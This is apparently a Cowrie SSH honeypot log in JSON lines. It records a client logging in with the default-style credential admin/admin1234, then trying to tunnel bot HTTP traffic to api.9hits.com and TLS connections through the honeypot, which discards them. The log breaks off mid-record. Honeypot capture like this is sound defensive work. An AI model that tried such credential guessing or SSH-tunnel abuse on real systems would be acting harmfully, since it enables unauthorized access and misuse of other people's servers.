{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:41.130698Z","src_ip":"123.27.168.40","session":"e3dbb1df958b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:42.223500Z","src_ip":"123.27.168.40","session":"e3dbb1df958b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.8","message":"Connection lost after 23.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:42.317964Z","src_ip":"23.175.50.51","session":"213ac6ebe131","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:42.606254Z","session":"e3dbb1df958b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:42.751111Z","session":"e3dbb1df958b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:43.121061Z","src_ip":"123.27.168.40","session":"e3dbb1df958b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Vz5TUTdLVXd0JX1CKnNtaA%3D%3DuEPJVV8ZLFG1PUctdghuYIgIYCqiR6BtykFA60S5o3AylnA%2BzdGXOL0h%2F6KOPiKVd6zmVeq61vPTtOBRQKGenAmNU4BgqDqkwuxH2Mg2J6F2a0NeqFCad0ZZ9TvTZFYGtJ8EZn%2BRWm5nfp%2BLh1KwyrbWUQ8WXHY9PVd%2FrcRMew6FcaxO%2FI5%2F0%2FlrxEwGJjl38jVfPwxJrMpLX4Y52ZwkmHlzlGqwlYrVGUG6lbTJ53U0EJSNwRl2fmwlPYW98y7d0sEJLPH8F%2FWs2S9F2k37OIwRLwNTW8k%2F2NKwR4sWsSM4ql5thzo8PHkyhA%2Bw2wNTTrDIahoQDdr1Coe2gjlCL10aEPtVBR4k7%2BgozKwrFcDN%2BvCk2XnhXtc9oDDjq7Ba6Y2NLt9asSeZ5ZFQ4qAweuLRzQnwQXc6LM%2FfUQ2BhgabJhYuXhAISf4jBH6N8EAd%2Fvg2hIGJvw2Nu6yhICb44HMANp%2FwGI4X67sD0SVDM52sPTYJNOG6gQpuSz13Zxj2tKj4srVDvlI9PxXLJ63CdoCgWY4mNf5wthm9SqPEFKkeoDA7qJXXvHTMd0498xWPBMiQEWempLkwA1ydWbYzYkZD1C59nkHHESry1tRuWb1lpHzQqBS6PablEzw1o4btmu6Wgzf5pmIe2ccpzGA8skwpiVIp2%2BImiqLWK2%2BA1WT5w0pbrYoIa3RwquxV7wuBejz1bZcBjAEq4WYshP4QV3fyNBGTEGNZHYEoO0MyQRJz1A2700MuaJfHXBOYSK4UqIYX1i95gh9LBbtUWuCQJcUhV7vXc0N3D9x0AeowoGSlilB6rI1k0rg7dmhhbHsj8bjaMUGqmQtMmNUufwRZFunoMYf5ZH%2FkeAmlMv9tquZOAX8Ia8%2FPCeJal3T%2FWUVBAjUAh8ym5UAZ6L%2BhF2V8Lnhnikl7i88HwHaaR2CnpkefDR0Q83zTDNKJC0fLJfgvOrqAHxNFyiXNq0EA850KcoxYOML9cjxaO5pSnGe29ANi6mwy22W0CV7m5%2FObouhxflyEKUIUiLv0IVMjG2WBAl7keW2owjN91JzEQyVqufGhlx%2B4EjkJlafyMZBqlRCk'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Vz5TUTdLVXd0JX1CKnNtaA%3D%3DuEPJVV8ZLFG1PUctdghuYIgIYCqiR6BtykFA60S5o3AylnA%2BzdGXOL0h%2F6KOPiKVd6zmVeq61vPTtOBRQKGenAmNU4BgqDqkwuxH2Mg2J6F2a0NeqFCad0ZZ9TvTZFYGtJ8EZn%2BRWm5nfp%2BLh1KwyrbWUQ8WXHY9PVd%2FrcRMew6FcaxO%2FI5%2F0%2FlrxEwGJjl38jVfPwxJrMpLX4Y52ZwkmHlzlGqwlYrVGUG6lbTJ53U0EJSNwRl2fmwlPYW98y7d0sEJLPH8F%2FWs2S9F2k37OIwRLwNTW8k%2F2NKwR4sWsSM4ql5thzo8PHkyhA%2Bw2wNTTrDIahoQDdr1Coe2gjlCL10aEPtVBR4k7%2BgozKwrFcDN%2BvCk2XnhXtc9oDDjq7Ba6Y2NLt9asSeZ5ZFQ4qAweuLRzQnwQXc6LM%2FfUQ2BhgabJhYuXhAISf4jBH6N8EAd%2Fvg2hIGJvw2Nu6yhICb44HMANp%2FwGI4X67sD0SVDM52sPTYJNOG6gQpuSz13Zxj2tKj4srVDvlI9PxXLJ63CdoCgWY4mNf5wthm9SqPEFKkeoDA7qJXXvHTMd0498xWPBMiQEWempLkwA1ydWbYzYkZD1C59nkHHESry1tRuWb1lpHzQqBS6PablEzw1o4btmu6Wgzf5pmIe2ccpzGA8skwpiVIp2%2BImiqLWK2%2BA1WT5w0pbrYoIa3RwquxV7wuBejz1bZcBjAEq4WYshP4QV3fyNBGTEGNZHYEoO0MyQRJz1A2700MuaJfHXBOYSK4UqIYX1i95gh9LBbtUWuCQJcUhV7vXc0N3D9x0AeowoGSlilB6rI1k0rg7dmhhbHsj8bjaMUGqmQtMmNUufwRZFunoMYf5ZH%2FkeAmlMv9tquZOAX8Ia8%2FPCeJal3T%2FWUVBAjUAh8ym5UAZ6L%2BhF2V8Lnhnikl7i88HwHaaR2CnpkefDR0Q83zTDNKJC0fLJfgvOrqAHxNFyiXNq0EA850KcoxYOML9cjxaO5pSnGe29ANi6mwy22W0CV7m5%2FObouhxflyEKUIUiLv0IVMjG2WBAl7keW2owjN91JzEQyVqufGhlx%2B4EjkJlafyMZBqlRCk'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:43.123815Z","src_ip":"123.27.168.40","session":"e3dbb1df958b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:43.128690Z","src_ip":"123.27.168.40","session":"e3dbb1df958b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa2\\xf88\\xc3\\xe8\\x8b)\\x03\\xe4{\\xd8_-\\xa4\\x19\\x8a\\xf5$\\xca\\xea\\t\\x94\\xa4#\\x080\\xd0\\xed\\x16\\xf2:\\xe1 \\xaf\\x14g-\\x00\\xac\\xd1\\xb3\\x89\\xc4E\\xa7y\\xe7\\xafWYe\\x13\\x00s\\xd0b+\\x9f\\xef6R\\xfb\\x8c\\xc39\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x80BfC\\xa4\\x06\\x9e\\x00K+\\x06\\xc8\\xb8O\\x18T\\xbc\\xa7^\\x81\\xb0\\x93\\xb5gM|\\x80\\xb2Sv\\xb3F\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa2\\xf88\\xc3\\xe8\\x8b)\\x03\\xe4{\\xd8_-\\xa4\\x19\\x8a\\xf5$\\xca\\xea\\t\\x94\\xa4#\\x080\\xd0\\xed\\x16\\xf2:\\xe1 \\xaf\\x14g-\\x00\\xac\\xd1\\xb3\\x89\\xc4E\\xa7y\\xe7\\xafWYe\\x13\\x00s\\xd0b+\\x9f\\xef6R\\xfb\\x8c\\xc39\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x80BfC\\xa4\\x06\\x9e\\x00K+\\x06\\xc8\\xb8O\\x18T\\xbc\\xa7^\\x81\\xb0\\x93\\xb5gM|\\x80\\xb2Sv\\xb3F\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:43.131108Z","src_ip":"123.27.168.40","session":"e3dbb1df958b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:43.366013Z","session":"e3dbb1df958b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:43.597445Z","src_ip":"123.27.168.40","session":"e3dbb1df958b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x038\\xdc\\x97:\\x84\\xd4\\xc4t`s[w4\\x8b)\\xa8MLH\\xb9\\x95\\xf9\\x17\\xc0+j|3\\xd6\\x196= H\\x06\\xa8u\\xc3=e\\xc3\"\\x0e\\xc0\\x9fS\\xe9\\x13L\\x88u\\xf6\\xafQ\\xe4\\xf4\\xac\\xe3(\\xb8=\\xc6\"=\\xaa\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 c\\xff}\\x91)\\x04\\x99J\\xc3\\xa9!U\\x17\\xf7\\x15\\xf44\\x0c\\xdc\\x10\\x10U\\xe2\\xfc\\xb8\\r\\xba\\xdb\\xa5\\xfa$R\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x038\\xdc\\x97:\\x84\\xd4\\xc4t`s[w4\\x8b)\\xa8MLH\\xb9\\x95\\xf9\\x17\\xc0+j|3\\xd6\\x196= H\\x06\\xa8u\\xc3=e\\xc3\"\\x0e\\xc0\\x9fS\\xe9\\x13L\\x88u\\xf6\\xafQ\\xe4\\xf4\\xac\\xe3(\\xb8=\\xc6\"=\\xaa\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 c\\xff}\\x91)\\x04\\x99J\\xc3\\xa9!U\\x17\\xf7\\x15\\xf44\\x0c\\xdc\\x10\\x10U\\xe2\\xfc\\xb8\\r\\xba\\xdb\\xa5\\xfa$R\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:43.600202Z","src_ip":"123.27.168.40","session":"e3dbb1df958b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:43.968877Z","src_ip":"123.27.168.40","session":"e3dbb1df958b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":56645,"dst_ip":"10.17.0.5","dst_port":22,"session":"420569293576","protocol":"ssh","message":"New connection: 123.27.168.40:56645 (10.17.0.5:22) [session: 420569293576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:47.013543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:47.018086Z","src_ip":"123.27.168.40","session":"420569293576","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","h